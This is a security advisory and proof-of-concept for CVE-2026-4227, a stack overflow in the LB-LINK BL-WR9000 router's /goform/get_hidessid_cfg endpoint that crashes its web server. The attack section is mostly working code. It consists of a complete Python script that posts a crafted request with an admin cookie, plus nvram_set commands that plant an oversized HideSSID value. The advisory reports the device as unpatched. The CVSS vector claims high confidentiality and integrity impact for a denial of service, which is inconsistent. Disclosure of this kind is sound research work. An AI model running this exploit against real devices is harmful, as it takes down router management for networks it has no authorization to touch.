Content *

Overview

A vulnerability identified as CVE-2026-4227 affects the LB-LINK BL-WR9000 running firmware version 2.4.9.

The issue is caused by a stack-based buffer overflow in the /goform/get_hidessid_cfg endpoint of the embedded web server. Improper handling of the HideSSID NVRAM value allows an attacker to trigger a crash in the web service.

This results in a remote Denial of Service (DoS) condition.

Affected Devices

Vendor: LB-LINK

Affected product:

• LB-LINK BL-WR9000

Affected firmware:

• Version 2.4.9

Status:

• ❌ Not patched (as of March 2026)

Technical Details

The vulnerability exists in the handling of the HideSSID parameter stored in NVRAM.

When the router processes a request to:

/goform/get_hidessid_cfg

it reads the HideSSID value and processes it without proper bounds checking.

If the value exceeds approximately 64 bytes before the first delimiter (;), it overflows a stack buffer in the GoAhead web server process.

This leads to:

• Memory corruption
• Process crash
• Web interface unavailability

Attack Vector

The attack requires:

• Network access to the router (LAN or authenticated interface)
• Ability to set or influence the HideSSID NVRAM value

Example malicious value:

nvram_set HideSSID 'A'*300';0;'
nvram_commit

Proof of Concept (PoC)

The following Python script triggers the vulnerability by sending a crafted request to the vulnerable endpoint:

#!/usr/bin/env python3
# Exploit Title:        LB-LINK BL-WR9000 HideSSID Stack Overflow
# CVE:                   CVE-2026-4227
# Date:                  2026-03-16
# Exploit Author:     Mohammed Idrees Banyamer
# Author Country:    Jordan
# Instagram:           @banyamer_security
# Author GitHub:      https://github.com/mbanyamer
# Affected:              LB-LINK BL-WR9000 firmware V2.4.9
# Tested on:            LB-LINK BL-WR9000 V2.4.9
# Category:             Remote Denial of Service
# Platform:              Embedded (MIPS/ARM)
# Exploit Type:         Remote
# CVSS:                  8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
# Description:          Stack-based buffer overflow in /goform/get_hidessid_cfg via overly long HideSSID nvram value
# Fixed in:             Not fixed (as of March 2026)
# Usage:
#   python3 exploit.py <router_ip>
#
# Examples:
#   python3 exploit.py 192.168.16.1
#
# Options:
#   -- (none implemented)
#
# Notes:
#   • Requires nvram value HideSSID to be set to a string longer than ~64 bytes before first ';'
#   • Example: nvram_set HideSSID 'A'*300';0;' ; nvram_commit
#   • Triggers crash of goahead web process (DoS)
#
# How to Use
#
# Step 1:
#   Set malicious nvram value (via shell or vulnerable web interface if possible):
#     nvram_set HideSSID 'A'*300';0;'
#     nvram_commit
#
# Step 2:
#   Run this script against the router:
#     python3 exploit.py 192.168.16.1

import requests
import sys
import time

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <router_ip>")
        print("Example: python3 exploit.py 192.168.16.1")
        sys.exit(1)

    ip = sys.argv[1].strip()
    target = f"http://{ip}"
    url = f"{target}/goform/get_hidessid_cfg"

    headers = {
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
        "Referer": f"{target}/admin/main.html",
        "Cookie": "platform=0; user=admin",
        "Connection": "keep-alive",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    data = "type=gethide2"

    print(f"[+] Target URL : {url}")
    print(f"[+] Payload    : type=gethide2")
    print(f"[+] Cookie     : {headers['Cookie']}")
    print("-"*50)

    try:
        print("[+] Sending exploit request...")
        start = time.time()

        response = requests.post(
            url,
            headers=headers,
            data=data,
            timeout=8,
            allow_redirects=False
        )

        elapsed = time.time() - start
        print(f"[+] Status code: {response.status_code}")
        print(f"[+] Response   : {response.text[:150]}...")

    except requests.exceptions.Timeout:
        print("[+] Router crashed (timeout) — Exploit successful!")
    except requests.exceptions.ConnectionError:
        print("[+] Connection refused / socket closed — Exploit successful!")
    except Exception as e:
        print(f"[!] Unexpected error: {e}")
    else:
        print("[?] No crash detected. Check HideSSID value.")

    print("\n[+] Done.")

if __name__ == "__main__":
    main()

How the Exploit Works

The exploit performs the following steps:

1. Assumes a malicious HideSSID value has already been stored in NVRAM.
2. Sends a POST request to /goform/get_hidessid_cfg.
3. The router processes the oversized value.
4. A stack overflow occurs, crashing the web server process.

Indicators of success include:

• Request timeout
• Connection reset
• Router web interface becomes inaccessible

Usage

Run the exploit script:

python3 exploit.py 192.168.16.1

Expected output:

• Timeout or connection error indicating crash
• No response from web service

Impact

Successful exploitation may result in:

• Web interface crash (DoS)
• Temporary loss of router management access
• Potential service disruption for connected users

Given the CVSS score (8.8), the vulnerability is considered high severity.

Mitigation

Recommended actions:

• Restrict access to router admin interface
• Avoid exposing router management to untrusted networks
• Monitor abnormal crashes or reboots
• Apply firmware updates when released

If no patch is available:

• Disable remote management
• Use firewall rules to limit access

Researcher

Security research conducted by:

Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴

GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security

Disclosure Timeline

• 2026-03-16 — Vulnerability discovered
• 2026-03-16 — Initial analysis completed
• 2026-03-16 — PoC developed
• 2026-03-XX — Public disclosure

Disclaimer

This proof-of-concept is provided for educational purposes and authorized testing only. Unauthorized exploitation of devices without permission is illegal.